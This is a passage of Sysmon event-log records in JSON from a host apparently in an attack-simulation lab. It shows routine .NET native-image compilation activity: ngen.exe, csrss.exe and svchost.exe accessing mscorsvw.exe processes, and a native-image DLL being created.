12:01:50.619","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-00107E180C00}","TargetProcessId":"3860","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7139,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.619\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-00107E180C00}\r\nTargetProcessId: 3860\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.619","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-00107E180C00}","TargetProcessId":"3860","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7140,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.635\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-00107E180C00}\r\nTargetProcessId: 3860\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.635","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-00107E180C00}","TargetProcessId":"3860","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7141,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.760\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A9-5F2D-0000-001043720B00}\r\nTargetProcessId: 4308\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.760","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A9-5F2D-0000-001043720B00}","TargetProcessId":"4308","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7142,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.760\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A9-5F2D-0000-001043720B00}\r\nTargetProcessId: 4308\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.760","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A9-5F2D-0000-001043720B00}","TargetProcessId":"4308","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7143,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.792\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-00107E1C0C00}\r\nTargetProcessId: 4308\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.792","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-00107E1C0C00}","TargetProcessId":"4308","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7144,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:51.650\r\nProcessGuid: {90617006-42AE-5F2D-0000-00107E1C0C00}\r\nProcessId: 4308\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\10d4-0\\Microsoft.Transactions.Bridge.dll\r\nCreationUtcTime: 2020-08-07 12:01:51.650","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:51.650","ProcessGuid":"{90617006-42AE-5F2D-0000-00107E1C0C00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\10d4-0\\Microsoft.Transactions.Bridge.dll","CreationUtcTime":"2020-08-07 12:01:51.650","EventReceivedTime":"2020-08-07 12:01:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7145,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:51.729\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AF-5F2D-0000-001095230C00}\r\nTargetProcessId: 4844\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:51.729","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AF-5F2D-0000-001095230C00}","TargetProcessId":"4844","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7146,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:51.729\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AF-5F2D-0000-001095230C00}\r\nTargetProcessId: 4844\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:51.729","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AF-5F2D-0000-001095230C00}","TargetProcessId":"4844","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7147,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:51.744\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AF-5F2D-0000-001095230C00}\r\nTargetProcessId: 4844\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: 